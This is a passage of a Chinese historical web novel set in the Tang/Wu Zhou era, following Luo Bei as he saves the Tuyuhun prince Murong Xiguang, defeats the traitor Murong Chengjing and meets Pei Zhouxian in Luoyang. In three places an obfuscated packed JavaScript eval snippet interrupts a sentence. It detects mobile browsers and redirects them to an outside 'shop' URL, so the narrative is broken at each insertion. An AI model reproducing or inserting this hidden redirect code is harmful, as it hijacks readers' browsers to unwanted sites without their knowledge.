洛北带着慕容曦光跃下楼梯,把一地血泊和尸首抛在身后。两人一路飞奔,才到二楼,又听得楼梯下有人用吐蕃语叫喊:“把门守好!别让小王子跑了!”说罢,几队黑衣人顺着楼梯向上跑来。 洛北沿着墙壁向外看了一眼,走廊上也有几个黑衣人正在梭巡。眼看着前有追兵,后有堵截,他皱了皱眉,还是带着慕容曦光向外跑去。 黑衣人注意到这边的动静,向这边靠了过来。洛北正刀刺穿两个黑衣人的胸膛,正与剩下两人搏斗,却听到小王子一声惊叫。原来追兵中已有一人追了上来,趁他搏杀之际,用弯刀直刺他后背。 洛北猛地转身,用左臂生生挡了这一刀,他将唐刀在掌心一旋,割破此人喉管,又飞起一脚把剩余两人踹下楼去,才带着慕容曦光闯进了一扇虚掩的房门。 房中的陆眠与闻声转过身来,见洛北浑身浴血,宛如一尊地狱走出来的阿修罗神像,慕容曦光跟在他身后,跑得狼狈不堪。不由得大惊:“洛.....”他好不容易才压低自己的声音,“你们这是怎么了?” “有人谋刺两位王子。”洛北没有过多和他解释什么,撕开衣袖,倒了些白药,就随意用扯下的半段床单在自己的手臂上缠了缠包扎。 陆眠与和他都是医者,知道他这般潦草,已是形势到了山穷水尽的地步,张口正要问什么,却看到洛北却竖起一根手指放在唇边,示意他不要说话。 陆眠与乖乖地噤声不言。一时之间,房中三人都听到外头一阵一阵的脚步声,连着踹门砸户,摔摔打打的声音。 这些追兵已经追了上来,不见他们踪迹,正在一户户搜人。 洛北看看慕容曦光,又看看陆眠与,像是下定了什么决心:“殿下,请你把身上这件外袍脱下来给我。” 慕容曦光不明就里地脱下锦缎外袍,递给洛北。 洛北把那件窄袖锦袍披在了自己身上,轻轻呼了口气,转对陆眠与道:“陆眠与,你的父亲参与此事甚深,那些吐蕃人不会太过为难你。我会出去引开那些追兵,可否求你把小王子藏起来?只要多撑一会儿,就多了一线生机。” 慕容曦光还没反应过来,只拽着洛北的手,不肯放开。陆眠与却已经明白了他的意思:“洛公子,你是想拿自己的命去赌吗?” “九死一生总比十死无生的好。”洛北轻轻笑了一下,“陆郎中,小殿下我就拜托给你了。” “你,”陆眠与嗫嚅了一下嘴唇,“我去吧。” 他一下定决心,便去扯洛北身上的锦袍,一边扯一边喋喋不休地说:“洛先生,你太高看我,也太高看我爹了。我爹敢叫我在你背后使刀子,就已经做好了一旦被揭穿,就牺牲我这个儿子的准备。” “还有,还有,你真的觉得我带着小王子能逃得出去吗?我又不会武功,没你那么好的学识和身手......” 陆眠与说到这里,突然顿住动作,声音里已经有些哽咽,他抬头看向洛北:“吐谷浑好吃好喝地养了我那么些年,也是我该报答他们的时候了。就是,洛先生如果去我的家乡,见到我娘,能不能和她说一声。” “就说,儿子不孝,不能留在她身边给她养老送终了。” 他终于把锦袍取下来套在自己身上,又看了一眼慕容曦光和洛北,猛地打开房门冲了出去。 外面一片呼喝厮杀之声,而后便是兵刃砍到人体上的沉闷声响。慕容曦光怔怔地看着门外,似乎是明白了那个哄他玩耍的陆眠与再也不会回来了,眼中泛起泪光,抽泣了几声。 洛北蹲下身来,直直地盯着他的眼睛,压低声音喝道:“不准哭。倘若引来追兵,他的牺牲就白费了。” 慕容曦光的眼泪被洛北吓了回去,只牢牢地攥住他的衣角,不再说话。洛北当即带着他顺着另外一边的楼梯冲了下去。 在门口只有两个黑衣人看守,他挥出一道刀光将这两人都解决了,终于带着慕容曦光逃到了大街上。 街上也是一片混乱,赶出来救火的,跑出来看情况的,还有叛乱者在其中浑水摸鱼。洛北替慕容曦光找了个高处:“可能找到忠于你们家的将军?” “有,大将军若延,他是我们家的老臣。一直是我父亲的侍卫领袖。”慕容曦光在人群中找到了个身着银甲,头戴铁盔的身影,“他的两个弟弟都被吐蕃人杀了,他绝不会和这些吐蕃人同流合污。” “好。”洛北点了点头,护送慕容曦光向若延将军的方向而去。若延将军正督促几个士兵进石堡去找人,看到洛北一身是血地带着慕容曦光而来,不免心下惊喜:“小殿下?!军中传言,狡猾的汉人谋害了您,您这是.......” “没有汉人要谋害我。”慕容曦光恨声道,“是石堡中有人和吐蕃人勾结,想要挑起吐谷浑部族的叛乱。如果不是陆郎中舍生取义,大......洛公子以身相护,我现在已经没命了。” 若延将军冷哼一声:“我就知道,一定是吐蕃人捣的鬼。”他急令属下冲进石堡清缴刺客,又向洛北道了一个大礼:“多谢洛公子救护我家小王子。” “现在不是说这些的时候。”洛北把他扶了起来,“将军,恐怕这个传言不止在你的军中发生。当务之急,是要殿下在城中露面,以平息流言,安定局势,否则照这样发酵下去,后果不堪设想。” 若延将军点了点头:“不错,正合我意。城中有一高台,是以往先王祭天的场所,我这就派兵去将那里整肃一番,竖起旗帜,请殿下登台以安军心民心。” 若延将军确实十分能干。他的士兵不过几刻功夫就已将一切安顿好,竖起旗帜,点燃祭火,城中不少百姓都蜂拥而来,想看看到底是出了什么事。洛北带着慕容曦光来到台下时,已是一片人山人海。 “大哥哥。”慕容曦光紧张得一手的汗,他不由自主地问洛北,“我该,我该说什么?” 洛北蹲下身,替他理了理新换的礼服: “你要说三件事,第一,表明你自己的身份,告诉他们你是吐谷浑首领慕容宣超的长子,你安然无恙。” “第二,今夜有人勾结吐蕃人叛乱,意欲离间大周与吐谷浑的关系,已经被你侦知。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281643|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三,城中即刻戒严,百姓归家,你会在击鼓之后,派若延将军带兵巡视,若有逗留者,以叛逆同党论处。” “我......”慕容曦光握紧了手,“我能做成吗?” 洛北点了点头:“能的,殿下。你一定可以做成的。” 慕容曦光登上高台,他在众目睽睽之中回望了洛北一眼,似乎是受到他脸上笑容的鼓舞,终于面向众人,朗声说了第一句话:“我乃慕容宣超长子,慕容曦光,以天地祖先与神圣的诸神为证,我在此发言.......” 慕容曦光流畅地说完了这一篇话,击鼓之声遂起。一众百姓纷纷向他行礼,各自归家。若延将军也低头领命。他按耐住欢呼雀跃的心情,走下台去找洛北——但他什么也没有找到。 有了慕容曦光在城中露面,城内的局势已陆续稳定。洛北一路赶路,一路重新给自己包扎伤口,他循着脑海里那副地图赶到吐谷浑城中一处不起眼的水闸前,正看到一个黑影正要扣动一处墙上的机关。 洛北瞄准他,射出三箭将他钉在原地。那人转过身来,露出一副与慕容宣彻极为相似的容貌——慕容承靖。 洛北举起弓箭瞄准他的咽喉:“慕容承靖,你打算逃到什么地方去?” 晦暗的夜色下,慕容承靖转过身来,他神色复杂地盯着洛北:“你最后还是把那些文书和图纸读明白了。” 这不是个问句,但出于对对手的尊重,洛北还是回答了他:“在我学过的诸多语言之中,鲜卑文字并不算是最难的一种。不过我怀疑你,还是在陆眠与偷换了我的药方之后——你在堂上说的话看似中正,其实句句要置我于死地。” “竟然是这样。”慕容承靖惨然一笑:“当初我劝那姓陆的老头应该把那小东西的药换成砒霜,他就是不肯,担心这样会让他的儿子和他翻脸。结果最后他得到了什么?一具血肉模糊的尸首。你真应该看看那老家伙脸上伤心欲绝,状若疯癫的表情......” 他说着大笑起来,不知是讥讽还是自嘲。洛北神情默默地盯着他,心里却不免想起陆眠与,这位年轻郎中的嘱托言犹在耳,如今却已是阴阳两隔了。 慕容承靖抓住了他这分神的一瞬,当即从腰间抽出一柄软剑,奋力向前,直刺他心口。 洛北身形一动,犹如风中残影,巧妙地避开了这一击。他右手半挽刀花反手一格,唐刀在空中划出一道优美的弧线,向慕容承靖咽喉而去。 慕容承靖脸色一变,急忙挥动软剑抵挡。然而软剑虽能弯曲至如,却难以抵挡唐刀的凌厉攻势。他左支右绌,渐有不支之势,最后只听得“叮”的一声脆响,软剑被唐刀拦腰斩断,剑身四分五裂。 “你不是我的对手。”洛北冷声道,“束手就擒,我保证你得到一个公正的审判。” “不,休想——你休想!”慕容承靖笑得状若疯癫,他回过头去,用尽全身力气扣动扳手,当下轰然几声,水闸边的小门打开了。 慕容承靖连四分五裂的软剑都顾不上,立刻跳入门中。 洛北取下墙上火把,也跟在他身后进了门中。 22. 第 22 章 门内道路曲折蜿蜒,洛北带着火把一路猛追,却始终追不上慕容承靖的影子。洛北顿住步子往旁边一照,旁边是一面壁画。 壁画与洛北在地下暗河所见的一模一样,只是图形换成了吐谷浑王受到上天指引飞升而去的情节。看来就如洛北所料,这地下的网路都是“大可汗陵”的一部分。 洛北顺着壁画一路前行,迈过一道小门,眼前豁然开朗起来。下方是一处地宫,上方是描绘飞天的极乐世界的壁画,下方的有河流穿过仿造的亭台楼阁。 最显眼之处便是一座高台,高台上摆着一只巨大的石棺,旁边几个人影手持火把站着,地上还隐约跪着一个人。 流水潺潺,洛北放轻了脚步,顺着石阶一步步地走了下去,离得越近,他越能看清那几个人的样子: 跪倒在地的是慕容宣彻——他不发声音,生死不知。慕容承靖和陆太医站在石棺下首,那吐蕃人站在另外一边,双手抱胸,看着下方的一片陪葬的金银珠宝。 慕容承靖道:“我们现在就得杀了他,让他的鲜血祭奠先王的灵魂。” 陆太医道:“不急,现在还没有到祭祀的时间,如果错了时间,先王是不会保佑我们的。” 吐查恨声道:“别磨磨蹭蹭的行了吗?慕容曦光还没有抓到,一切局势都要靠我来稳固。还有那个洛北......那个神秘的家伙到底是从哪里冒出来的?他像鬼一样地追着我们。我可不想再被他抓到第二次!” 洛北在心底冷笑一声,看来他阴差阳错之下,抓到了吐蕃在此次行动中的总指挥人。 慕容承靖唯唯诺诺几声,伸手拔出刀来,竟反手刺进了吐查的肚子里。吐查未对他设防,被捅了个对穿后就被踹下了高台。 陆太医当场急了:“你这是干什么?!” 慕容承靖冷笑一声,高声喊道:“洛公子,你看清楚了,我这是替大周除奸了!”他说罢,又一刀划过陆太医的脖颈,把他推下了高台。 洛北此刻已经赶到地面,见他杀掉了自己全部同伙,怕他失控之下伤害慕容宣彻,不敢耽搁,快走几步追到高台之上:“你想要做什么?” 慕容承靖一手拎着慕容宣彻的衣襟,一手把一把匕首架在慕容宣彻脖子上:“洛公子,你随同当朝宰相一起出行,应当也是个有官职的人吧?我想和你谈个条件。” “什么条件?”洛北问。 慕容承靖道:“时至今日,通晓全局的人,除了我,也就是你了。你想救慕容宣彻的性命,我也想让自己活下来。不如你看在我弃暗投明的份上,放我一马。我保证自此遁入民间,再不回吐谷浑。” 洛北沉默不语,慕容承靖见他沉思,冷声笑道: “我明白了,你们有了慕容曦光,也就不必在乎我这堂兄的性命。”他横刀刺入慕容宣彻脖颈,鲜血顺着慕容宣彻的衣裳流淌下来,显得蔚为可怖。 “住手!”洛北厉声喝问道:“慕容宣彻是你的堂兄,从小和你一起长大,一向待人友善,你真的要在吐谷浑祖先的棺材前杀了他吗?” “吐谷浑祖先?你,你们也配和我谈祖先的名号?!”慕容承靖嘶吼道,“当初老祖父去世,是我陪在他身边,是我看着他咽的气!老祖父死前念念不忘的,就是想回到吐谷浑的故地。可慕容宣超慕容宣彻这些人呢?他们安于凉州的繁华美景,安于皇帝给他们的爵位和名号,早就忘了国仇家恨了。” “但我没有忘记,我每时每刻,都记着这件事情。”慕容承靖咬牙切齿地道,“你们大周不帮助我。我自己来帮助自己!我又做错了什么?!” “所以你是假意投向吐蕃,想在吐蕃和大周之间挑起战争,好让吐谷浑部族趁机独立,回到青海的吐谷浑故地?“ 慕容承靖见真心话已被他诈了出来,也不再遮掩:“不错,洛公子。你们汉人和吐蕃人血流成河的时候,就是我们吐谷浑复国之日。” 洛北冷笑一声:“你真是幼稚可笑,你以为战端一开,会是汉人和吐蕃人在前线流血?你错了,吐蕃会驱使他们役使的吐谷浑部族作为屏障,而我们会征发吐谷浑的军队,命令吐谷浑首领作为副将一起出征。战线上会是吐谷浑人和吐谷浑人在厮杀,这里满山遍野的会是吐谷浑人的尸体——你的族人的尸体。” “不,不会的。”慕容承靖下意识地否认道。 他在沉思之中,手上已经松开了些,洛北眼疾手快,出刀格开了他手上的匕首。 “你……”慕容承靖眼见大势已去,冷笑一声,撞上了他手中的刀刃。 血花飞扬,染红了冰冷的石棺。 洛北叹了口气,替他合上不瞑目的双眼,低身背起慕容宣彻,一步一步地回到了城中。 城墙上郭字大旗飞舞飘扬,显示着凉州都督郭元振已经接管了此地防务。洛北将慕容宣彻交给军中医官照料,自己入帐去找郭元振。 星夜兼程,郭元振那张刚毅的面容上也显出些许疲态。洛北进帐的时候,他正在和李贞叙话,见他走进来,脸上露出欣喜神色:“洛北——你跑哪儿去了?为了找你和他的叔叔,慕容曦光就差把整个城市翻过来了。” 洛北对他们道礼,又解释了此案明细:“此事随后属下会将条文奉上,还请大帅在此地驻留……” 他越说越觉得眼前迷蒙,声音渐轻,说到一半时,整个人再也支撑不住,眼前一黑重重地栽倒在了地上。 “洛北!”李贞扶他躺到了床上休息。郭元振又命人找军医来。好在洛北是劳累过度,更兼失血过多。只要将伤处包扎,好生休息一段时间便好。 郭元振紧皱的眉头这才舒展,他盯着郎中替洛北重新扎了伤口,又叮嘱李贞留守情况,才施施然去找姚崇汇报情况了。 姚崇正歪在榻上摆一桌棋局,受伤了的腿搁在高脚凳子上,见郭元振一个人捧着条陈来了,不由得笑了:“没叫你那位好属下一道来?” 郭元振勉强扯了扯嘴角:“洛北他受了重伤,此刻还昏在床上,不方便来拜见相公。他在晕倒之前,将此事始末告知于我。此次吐谷浑叛乱,盖因慕容承靖伙同致仕的太医陆佃而为,意在挑拨我朝与武周战事,好叫吐谷浑火中取栗,用以复国。贼首二人和吐蕃将军吐查都已死了。” “好。”姚崇点了点头,在棋盘上摆上一枚棋子,“我已经准备上奏圣上,请封慕容曦光为青海国王兼吐谷浑首领。并因他年纪尚幼,许他入朝观政,并为宿卫。” 有唐一代,但凡内附的部族首领大部分都有入朝担任皇家宿卫,并学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281644|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观政的机会。武周朝也不例外。这样做,是为了培养部族首领对大唐的忠诚,也是为了让他们学习教化,回去后好管理部族民众。 对于年纪尚小的慕容曦光来说,这会是个好机会。 郭元振颔首道:“是。” “另外,我还会上奏圣上请封慕容宣彻为阴山安乐王,令他在慕容曦光前往京城期间,留守灵州,安抚吐谷浑部族。” “如此安排可谓尽善尽美。”郭元振弯腰道礼,“相公考虑周到,卑职自愧弗如。” “郭都督也太自谦了。你用一颗小棋子就毁了我整盘棋局,不可不称一句深谋远虑啊。”姚崇说。 郭元振不是第一次和姚崇打交道,早预备着他要发作一遭。听他这样说,郭元振也不过是暗自在心里冷笑了一声,面上却要装作一派诚惶诚恐: “姚相公,如此说来是折杀我了。当初我和洛北圈定要带您察查的诸部族时,根本就没有吐谷浑部族,定是洛北这小子自作主张,我又哪里能想到?还请姚相公念在他为平息此乱,九死一生的份上饶恕他吧。” 姚崇不防他把此事拿出来说事,手中猛地用力,棋子敲在棋盘上,发出一声脆响:“郭都督说笑了,洛北立下大功理应旌表,这件事情不要再提。” “是。那属下告退。”郭元振又道了一礼,退出了姚崇的房间。他出来时,正撞到李贞在门口,“慎交求见姚相公?” “不。”李贞摇了摇头,“我思索此事,有几件事情总是想不明白,特意来向郭都督求教。” “你是想问,当初在朝中,到底是谁一力主张慕容宣彻继任吐谷浑首领之职?” “不错。”李贞道,“我一开始以为是慕容宣彻自己图谋此位,可和他见了面才知道,他并无此心。而你我这样在边关多年的人,也不会要求朝廷打破吐谷浑部族的传统,究竟是什么人.......” 郭元振拍了拍他的肩:“慎交,有些话,咱们就不要明知故问了吧?” 李贞不由得轻轻叹了口气:“可他到底为什么要这么做呢?他总不能什么都不图,就千里迢迢地跑到这边远之地来以身犯险吧?” “宰相的想法嘛,你李慎交世家子出身都想不明白,我这个胥吏出身的人又怎么能想明白。”郭元振摇了摇头,“我只能猜,他虽然算无遗策,也不是什么事情都能知道,比如二张兄弟到底对圣上施加了多少的影响。” 李贞喏喏几声,最终还是沉默了。郭元振也不急着要他的回答,只看着远处升起的太阳。 半月之后,凉州。 一匹深青色的快马,自城外飞驰而来,一只金雕展开双翼紧随其后。洛北行到凉州城门前,却看到有一支马队停在街边,当即跳下马,走到那边躬身道礼:“宣彻王子。” 慕容宣彻确实没被吐蕃人为难,只是被人打晕后脖子又被划了一道伤口。他数日以来都在凉州修养,如今马队起行,显然是要回吐谷浑部族去:“洛公子去了沙州看望陆眠与的母亲?” 洛北道:“不错,朝廷虽然认了陆眠与的救驾之功,但她有个罪臣丈夫,又失了儿子,过得也不会很好。我只是能帮一点是一点罢了。” 慕容宣彻笑道:“我一直想问洛公子,你有没有兄弟姐妹?” 23. 第 23 章 洛北沉思片刻,摇了摇头:“……我没有兄弟姐妹。” 慕容宣彻笑道:“可你对曦光便如兄长一般。若无你的提点,那日他绝无可能稳住城内局势。” 洛北郑重道:“宣彻王子,我是郭都督手下的参军,平定吐谷浑局势,本是我职责所在,理所应当。至于曦光……他确实让我想起一位朋友。” 慕容宣彻好奇道:“洛公子的朋友应当也是非同一般吧?” “不……他已经去世多年了。” 洛北神情落寞,慕容宣彻也不好再问,他拱手道:“公子对我吐谷浑有大恩,此次不报,来日必偿。”说罢,招手示意骑队离开,只留官道上一点被扬起的烟尘。 “洛北。”郭元振从烟尘之中走到他身边,一身便服骑装,显然是刚从城外打猎归来:“陪我走走?” 洛北低头领命,此刻日光初升,照得晨雾升腾,唯余茫茫。他们一道走到城外的山坡上,共同看着山下一片景色。 郭元振看了一眼洛北,开口问:“你当上乌特特勤的时候,多大年纪?” 洛北知道郭元振已经识破了他的话,无奈地一笑:“大帅……我提点慕容曦光,确有私心。” “我和李贞等这些边将,当初是一力主张慕容曦光继承吐谷浑首领之位的。”郭元振知道他多想,开口解释道,“你尽管回答我的问题便是。” “十二、三岁吧。” “比如今的慕容曦光还要小一些啊。”郭元振忍不住看了他一眼:洛北俊朗的脸上神色一如往常。少年人的冲动和激情在他身上全然冷寂,就像一株没有绽放过花朵,就已经结出果实的新树。 “这些年,在群狼环伺的草原牙帐,你是怎么过来的?” 洛北很惊讶郭元振会问他这些,张了张口,又不知道怎么说:“都过去了.......大帅,都过去了。” 郭元振叹了口气,没再提起这个问题:“我已经收到了你辞去凉州参军职务的辞呈,但我不打算批准。说句遗憾的话,凭借你的身份才情,边关才应该是你的翱翔之地。京城那个危机四伏的金笼子,不太适合你。” 郭元振平日里宛如老狐狸一般,极少流露心绪,这句话已经是他的一片真心了。洛北对此心知肚明,开口的时候,也有了些百感交集的味道:“大帅的拳拳之意,我感念在心。” “凉州那么多职务,空了一个参军并不打紧。我留着这个位置,便是想着有一天你能回到我麾下来。”郭元振笑了笑,“对了,见到阿史那献将军,代我问好。” 两月之后,神都洛阳。 白马寺兴建于东汉年间,自兴建之日便为佛教圣地,自女皇登位之后,推崇佛教,白马寺更是香火鼎盛。此刻旭日初升,白马寺中已是香客如织,络绎不绝。他们或手持香火,或怀抱经卷,在这古树参天的佛院内潜心祷告。 一位身着华丽锦袍的贵公子刚刚上完了香,又给了小沙弥些银两添作香油钱,便信步踏出寺院,此刻阳光正盛,他伸手去取腰间的扇子,不料却摸了个空。他下意识地向周围张望,人人都是来敬佛的香客,哪里有个贼影?他正焦急之际,忽而有人拍了拍他的肩。 “公子落了东西。” 贵公子转过头去一看,身后站着一个俊美昳丽,气度不凡的白衣少年,手中拿着的正是那柄扇子。他忙接过扇子,连着道了两句谢,才好奇道:“我观公子气度,不像是会偷盗扇子的人。” “偷盗扇子的是个附近的小乞儿,他只认得你这扇子的玉坠精致,不认得扇子上的顾恺之所绘的洛神图,更不知道这是价值万金的古物。”白衣少年答道,“我发现之后,已训过他,又给了些银钱,还请公子看在物归原主的份上,不要再怪罪他了。” 因佛寺讲究众生平等,这白马寺周围常有些乞儿以乞讨为生。贵公子常来常往,自然知道内情,只点了点头,比起手边的扇子,他更好奇眼前这个少年的来历:“我叫王翰,是并州晋阳人士,敢问公子高姓大名?” “原来是太原王公子,失敬。我姓洛,单名一个北字,算是你的同乡。”洛北道。 他是猜到这位随意拿出柄东晋古物来遮挡太阳的贵公子不是常人,却没想到他是并州王氏的公子。王家是权倾天下的高门望族,与李、崔、卢、郑并称“五姓人家”,族中宰相名将辈出,多年前枉死的高宗原配王氏,也是出自其家。 不过此刻他无意与王翰闲谈什么,只是一点头,便与他错身而过,去寺中敬香了。 洛北已见惯了生死,并不信这世上真有鬼神。只是梁国公狄仁杰的坟墓就在寺外不远,他这几日拜过狄公坟墓,便来白马寺敬一柱清香,以全哀思。他躬身三拜,便将香火插在香炉中,往箱中投了点碎银子。 他转身要走,身边却来了个小沙弥。那小沙弥见他一连三日,每日都来敬香,料想这是个虔诚的大主顾,便殷切地向他推销起长明灯的生意:“公子若有心,不妨点一盏长明灯吧,可以积攒功德,保佑来世。” 洛北摆了摆手正要拒绝,目光却下意识地往佛前供养的长明灯那儿望了一眼。长明灯多雕刻为佛教中的吉祥物样,若是多出了钱,还可将名字、生辰一并刻上。他目力极佳,立刻认出有一盏雕刻着太原王氏主母库狄氏名字的长明灯——那大概就是王翰为其母亲所供养的。 “公子,若是不想出钱雕灯,不妨添些灯油钱,也是吉祥如意的。”那小沙弥见他不动,越发觉得这笔生意能够做成,不由得更殷切了些。 “不.......”洛北本要开口拒绝,目光却瞥到了一个熟悉的名字——“太原狄彧”,他当下把话一顿,“那盏灯是谁供养的?” “哦,那盏灯啊,那盏灯的来头可是大大的。”小沙弥眼睛骨碌一转,“公子,我也不能白白地给你说故事,不如你添些灯油钱,我再说给你听,如何?” 洛北这才意识到还有这茬,便从袖中摸出一小锭金子,递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281645|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给这小沙弥道:“既然这样,你就替我添在这盏灯里吧。” 那小沙弥接了金子,高兴得差点蹦起来,可听到洛北后半句话,不免又把他上下打量了一番:“公子和供养这盏灯的人认识吗?你是太原狄家的子弟?看着也不像啊.......” 洛北不想让他瞎猜,只正色道:“我要听的故事呢?” “哎呀,”小沙弥见洛北这样,不敢再卖关子,只得道:“这盏灯是已故的梁国公狄仁杰派人供奉的。公子知道吧,六年前,突厥默啜寇边,狄公被女皇陛下委以河北道行军大总管的重任,出兵河北,安抚百姓。" "后来那默啜逃走了,狄公就率军回来了。女皇陛下还算高兴,就让狄公陪着她一起来这里上香。上完香,狄公就说要为自家子侄立一盏长明灯。女皇还问他,‘我记得卿一直不信鬼神,为何如今却奉起了长明灯来?’” “狄公说什么?” “狄公说,‘微臣确实不信鬼神之事,只是事情到了尽人事,听天命的时候,总还想做些事情,以便有所助益。’” 洛北轻轻一笑:“你这小沙弥,编得倒是栩栩如生。” “我哪里编了,当时我的师兄就在迎驾队伍里,可是他一个字一个字和我说的,我一个字都不敢改的!”小沙弥不喜欢别人这样说他,当即提高了些声音。 洛北正要安抚几句,大殿里却走出来一位身披袈裟,颇为威严的大和尚。那小沙弥吐了吐舌头,低头道礼:“弟子见过义惠大师。” 义惠点了点头,没有对这小沙弥多说什么,只转向洛北,低声道:“我家方丈请公子入内叙话,可否请公子随我移步?” “既然是方丈大师所请,我自当前往。”洛北低头道礼,心里却越发狐疑,他随着义惠大师穿过古树参天的院落,走过几处小径,在一处禅房前停住了脚步。 义惠对他道了一礼,取出一张宣纸铺在房外的桌上:“洛公子,可否在这张纸上留下姓名?” 洛北知道他是要查验字迹,提笔写下了“洛北”二字,用的是他在凉州已有多年不用的褚体。 义惠查验过字迹,低头对他道了一礼:“阿弥陀佛,公子要等的人就在禅房之中。请公子进去吧。” 洛北推门而入,一个身着斜襟圆领长袍的男人正在房中打坐。他面容方正,黑色的眼睛中带着审视的锐利,下颌的胡须已染了银丝,其实人还不到四十岁。这是多年的流放生活在他身上刻下的痕迹。 似乎是察觉到有人入内,他睁开眼睛,躬身道礼:“属下裴伷先,见过公子。” 洛北双手把他扶了起来:“伷先不必多礼,你一向可好?突厥情况如何?” 裴伷先道:“幸亏公子安排得当,默啜没有发现我们的踪迹。若是公子需要的话......” “无妨。如今突厥边境尚且和平,你我按兵不动就好。”洛北往窗外望了一眼,禅院中空空荡荡,无人停留,“洛阳呢?” 24. 第 24 章 裴伷先弯了唇角,神情中自然而然地透出一股得意,这是一个掌握一切的人应有的得意:“如今洛阳城最大的新闻,便是宋璟相公遇刺的事情。” 宋璟正直而有大节,性格刚强,为官爱民如子,执法刚正不阿,在朝野内外都很有声望。他被刺杀之事已让天下震动,要知道,公开行刺宰相,不仅是与宰相本人作对,更是公开与朝廷作对,与谋反无异。 “此事我在一进洛州地界时便已经听闻。”洛北道,“说是有杀手伏在他儿子的婚宴上,意图刺杀,好在他当日有事提前离场,没有受伤。倒是前来赴宴的客人们被吓了一跳。” “不错。此事一出,天下震动,女皇勃然大怒,下了严旨一定要缉拿凶手,可那凶手却如水入大海一般,不见踪迹。”裴伷先故作神秘。 洛北点了点头:“伷先已经知道了杀手身份?” 裴伷先点了点头:“是女皇男宠张氏兄弟豢养的一个杀手,之前曾是禁军军官,后来为人招募,成了杀手——张氏兄弟以重金收买他,让他代为杀人。我的人也在四处搜寻他的踪迹.......可整个洛阳城,都不见此人的踪影。” 洛北道:“我这些年虽在边塞,也听过不少二张兄弟的事情。听说因他们诬告邵王李重润、永泰郡主李仙蕙、魏王武延基谋反,竟让李重润和武延基皆被杖杀。李仙蕙难产血崩而亡。因为两个男宠,杀掉自己的三个孙辈,此事实在骇人听闻。” 裴伷先点了点头:“邵王李重润是太子李显的嫡子,曾被高宗李治立为太孙。魏王武延基是武承嗣的长子,武承嗣也是女皇曾经考虑过的太子人选。此事一出,李武两家已有合流之势。” 洛北神色一动:“李武两家的这些人现在只是怨恨二张兄弟,满脑子想的不过是扳倒二张兄弟,巩固自己的权势。我们不妨在这件事上添一把火。” 他虽然有些语焉不详,但裴伷先已经明白他的意思:“如今朝廷局势复杂,宰相张柬之等人是一派,他们大部分都是已故的梁国公狄仁杰提拔起来的人。武三思、宗楚客等人是一派。还有二张兄弟也纠集了一批朝臣......” “我在前来洛阳之前,曾经去拜会姚崇。”洛北轻声道,“他倒是正缺个帮忙的人,替我写了一封信给张柬之。我得空便去他郊外的私宅拜见他。” 他顿了一顿,转过身去时,正碰上裴伷先期待的目光,轻轻一笑:“伷先,明年春日到来之前,你我的家仇,一定能报!” “我素来敬佩公子深谋远虑,在公子面前,从未担心过家仇。”裴伷先与他相处多年,知道他做事未雨绸缪的习惯,闻言只是一笑:“我唯一担心的是,公子像当年在突厥一样,不声不响地孤身犯险。” 裴伷先是在说他当年把自己投身沙暴的事情,这话出自一片真心,说得洛北不由自主地低下头去,甚至不为自己辩解什么——从突厥到凉州,他手上的牌实在太少太少,所以才会动不动就把自己的脑袋押上棋盘赌:“我答应你就是。” “好。”裴伷先深深叹了口气,“对了,公子初到洛阳,可有地方住?我有几个干净的地界,可以让公子安顿下来。” 洛北点了点头,他到洛阳之后,为了不引人注意,倒是寻了个人来人往的小客栈住下。只是今日之后,怕是不方便再住在那个人多眼杂的地方:“我正有此意。” 他们出了白马寺,一路向洛阳城中走去。裴伷先替洛北置办的宅邸在立德坊中,此地胡汉杂居,不容易引起别人的注意。 他们打马进了立德坊,远远地便望见一座四层楼高的祆寺。所谓祆教,就是西域所流传的拜火教。最早起源于波斯,在南北朝时期便随着行商的粟特人一起进入中原。后来萨珊波斯灭亡,波斯王族也有不少人遁入中原,祆教便越发兴盛起来。立德坊胡汉杂居,此地祆寺兴盛,寺庙也修得蔚为壮观。 屋顶是十字歇山顶,檐下四向凸出山花,瓦件脊饰全为琉璃所制,在正午的阳光下显得尤为瑰丽。 “我听过这座祆寺。”洛北饶有兴致地指了指高耸的屋顶,“此地的大萨保就是那位曾经以出使西域,被封为金山郡公的阿罗憾吧?他是末代萨珊波斯的王子,自波斯灭亡之后逃入中原。高宗曾派遣他出使西域,后来武周登位,他又领着一众在洛阳的番邦酋长为女皇修建天枢,可谓是劳苦功高。” “是。阿罗憾如今已有九十岁高龄,还是精神矍铄,我与他相熟,公子可要拜会他一番?”裴伷先道。 洛北思索片刻,正要说话,不知何处却冲出一个锦袍公子,抓住他的肩膀要往他身后躲。这锦袍公子身后还跟着一大群手持棍棒,喊打喊杀的粟特胡商。 